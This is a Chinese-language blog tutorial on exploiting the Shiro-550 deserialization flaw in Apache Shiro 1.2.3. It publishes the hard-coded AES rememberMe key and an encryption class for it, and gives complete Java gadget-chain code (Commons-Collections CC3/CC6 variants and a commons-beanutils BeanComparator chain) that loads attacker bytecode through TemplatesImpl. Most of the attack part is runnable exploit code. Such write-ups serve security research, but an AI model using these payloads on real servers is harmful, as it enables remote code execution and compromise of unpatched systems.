Shiro-550链

Shiro550 链

目录

Shiro550 550

环境

Commons-beanutils 1.9.2

commons-colletcions 3.2.1

Shiro550 1.2.3

tomcat 9.0.29

Spring boot 2.2.2

环境是从vulhub“偷”来的[doge]

原理

Shiro550 550 是加密硬编码,使用了AES来加密存储的remberme,但是密钥却是公开的,写死的,所以可以直接使用脚本加密,然后反序列化,当然也可以使用自带Shiro550加密函数加密。

从源码中直接获得密钥

加密函数:

package org.Shiro550serual.explod;

import org.apache.Shiro550.crypto.AesCipherService;
import org.apache.Shiro550.codec.CodecSupport;
import org.apache.Shiro550.util.ByteSource;
import org.apache.Shiro550.codec.Base64;

import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.FileSystems;
import java.nio.file.Files;

public class Encrypt {
    public static void encrypt(String path) throws IOException {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath(path));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        String text = ciphertext.toString();
        System.out.printf(text);
        try(FileWriter files =  new FileWriter(path+"_encrypt.bin")){
            files.write(text);
        }
    }

    public static void main(String[] args) throws IOException {
        Encrypt.encrypt("D:\\DNS.bin");
    }

}

DNS探测

dns探测

首先先登录,然后破坏session,

将payload先base64编码一下,然后使用上面的脚本加密一下,得到密文后替换remberme即可,之后使用DNSURL链操作一下即可:

可以看出存在反序列化,下面就是利用方式。

CC链3版本系列

在有CC4代版本的时候,直接使用ysoserial的CC2链直接打就可以了(稍稍改一下,然后本地运行,github上面的有点老)

为什么需要单独改一条专门给Shiro550使用的链呢?

这是因为在Shiro550中使用的是tomcat的类加载器,所以无法使用数组来传递数据,这时候就需要专门准备一条链子。

invokeTransform触发

这个就是很直白的触发,直接使用invokeTransform触发TemplatesImplnewTransformer方法,然后达到类加载的过程。具体参考ysoserial中的CC3链

在CC6中,将TiedMapEntry初始化的时候传入TemplatesImpl,然后lazymap的factory设置为invokerTransform即可,需要注意的是,生成lazymap的时候可以先用其他值替代一下,防止提前触发。

代码:

package org.Shiro550serual.explod;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Objects;

public class JustC3 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        //这个链子是使用invokerTransform直接调用TemplatesImpl的newTransformer方法从而类加载
        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        // 设置name值
        nameField.set(templates, "111");
        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:\\Exec.class"))});
        //CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        //CC6 部分
        HashMap<Objects, Objects> hashLazyMap = new HashMap<>();

        //防止序列化的时候触发漏洞
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashLazyMap, new ConstantTransformer(1));
        //TideMapEntry
        //此处可以传参,此处的templates是之后调用的时候传入的参数,调用factory的transform方法
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

        //new一个用来触发hashCode的HashCode
        HashMap<TiedMapEntry, String> hashMap = new HashMap<>();
        //将需要触发hashCode的Entry作为key传入其中,他的值无所谓
        hashMap.put(tiedMapEntry, "111");

        //重新修理这个链接
        Class LazyMapClass = LazyMap.class;
        Field factoryfield = LazyMapClass.getDeclaredField("factory");
        factoryfield.setAccessible(true);
        factoryfield.set(lazyMap, invokerTransformer);//传入被调用值
        //此处将已经存入的temp删除,好让他之后再次生成
        lazyMap.remove(templates);

        String FileNmae = "ser.bin";

        serialzie(hashMap,FileNmae);
        //unserialize(FileNmae);
        Encrypt.encrypt(FileNmae);
    }
    public static void serialzie(Object O,String name) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(name));
        objectOutputStream.writeObject(O);

    }
    public static void unserialize(String name) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(name));
        objectInputStream.readObject();
    }

}

不用invokeTransform

这个也是从CC3链中来的主要就是专门用来触发newTransformer的一个办法.

InstantiateTransformer是一个用来调用构造器实例化对象的类,可以让它实例化TrAXFilter

TrAXFilter被实例化的时候,会调用传入参数的 newTransformer, 从而触发类加载部分

最后的逻辑就是InstantiateTransformer实例一个TrAXFilter给他传入的参数是newTransformer部分

代码:

package org.Shiro550serual.explod;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Objects;

//cc2
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;

public class MyJustC3V {
    public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {
        //本链使用的是CC6的hashmap触发lazymap的get,本链不同于上面链,而是再网上封装了一层,是通过触发InstantiateTransformer方法,
        // 传入TrAXFilter.class,从而间接触发类似invokerTransform函数调用newTransformer的步骤。
        //
        //CC2部分
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField= c.getDeclaredField("_name");
        nameField.setAccessible(true);

        nameField.set(templates,"111");
        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates,new byte[][]{Files.readAllBytes(Paths.get("D:\\Exec.class"))} );

        //instantiateTransformer需要传入TrAXFilter.class参数
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});

        //CC6部分
        HashMap<Objects, Objects> hashLazyMap = new HashMap<>();
        //防止序列化的时候触发漏洞
        LazyMap lazyMap  = (LazyMap) LazyMap.decorate(hashLazyMap,new ConstantTransformer(1));

        //TideMapEntry
        //将需要触发hashCode的Entry作为key传入其中,他的值是最后transfomr需要的
        //此处传入的是被调用值,不是参数
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, TrAXFilter.class);

        //new一个用来触发hashCode的HashCode
        HashMap<TiedMapEntry, String> hashMap = new HashMap<>();

        hashMap.put(tiedMapEntry, "222");

        //重新修理这个链接
        Class LazyMapClass = LazyMap.class;
        Field factoryfield = LazyMapClass.getDeclaredField("factory");
        factoryfield.setAccessible(true);
        factoryfield.set(lazyMap,instantiateTransformer);
        lazyMap.remove(TrAXFilter.class);
        serialzie(hashMap,"Shiro550550.bin");
        unserialize("Shiro550550.bin");

    }
    public static void serialzie(Object O,String name) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get(name)));
        objectOutputStream.writeObject(O);
        Encrypt.encrypt(name);
    }
    public static void unserialize(String name) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
        objectInputStream.readObject();
    }
}

CB链

CB即commons-beanutils是一个java 的bean管理类,其中有一个utile方法很好用:

PropertyUtils.getProperty()

这个类可以接受两个参数,一个是类,一个是需要调用的属性

在com.sun.org.apache.xalan.internal.xsltc.trax中有一个可以直接调用newTransformer()的类,而且也符合bean的条件

然后可以简单试一下运行一下:

package org.Shiro550serual.explod;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.beanutils.PropertyUtilsBean;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CommonsBeanExplod {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, InvocationTargetException, NoSuchMethodException {
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        // 设置name值
        nameField.set(templates, "111");
        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:\\Exec.class"))});

        Field tfactoryField = c.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        PropertyUtils.getProperty(templates,"outputProperties");
    }
}

之后就只需要想办法吊起这个PropertyUtils.getProperty方法就可以了

查找一下用法:

一眼看见这个compare方法,其他几个都不能用

compare可以直接使用之前在CC4中的优先队列PriorityQueue可以触发这个compare方法,这时候这个链子的思路就通了,组装一下

package org.Shiro550serual.explod;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.beanutils.PropertyUtilsBean;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.set.CompositeSet;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonsBeanExplod {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, InvocationTargetException, NoSuchMethodException {
        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field nameField = c.getDeclaredField("_name");
        nameField.setAccessible(true);
        // 设置name值
        nameField.set(templates, "111");
        Field bytecodesField = c.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:\\My_programs\\JavaProject\\Java_Commons_Collections\\target\\classes\\org\\Payload\\CC3\\Exec.class"))});
        //CC2

        //CB
        //如果这里不指定comparator,默认会创建一个CC的comparator,所以这里手动设置一下。
        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

//        PropertyUtils.getProperty(templates,"outputProperties");
        //这个TransformingComparator只是本地组装一下,事后会反射修改成BeanComparator
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue<Object> prit = new PriorityQueue<>(transformingComparator);

        prit.add(templates);
        prit.add(2);

        Class c1 = PriorityQueue.class;
        Field declaredField = c1.getDeclaredField("comparator");
        declaredField.setAccessible(true);
        declaredField.set(prit,beanComparator);
        serialzie(prit,"CB.bin");

    }
    public static void serialzie(Object O,String name) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(name));
        objectOutputStream.writeObject(O);
        Encrypt.encrypt(name);
    }
    public static void unserialize(String name) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(name));
        objectInputStream.readObject();
    }

}

需要注意的是BeanComparator 构建的时候需要给一个comparator,不然人家直接就调用CC的comparator

之后直接使用上面的加密类操作一下就可以了。

最后链的过程图为:

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本站及文章作者不为此承担任何责任。

本站拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经本站允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇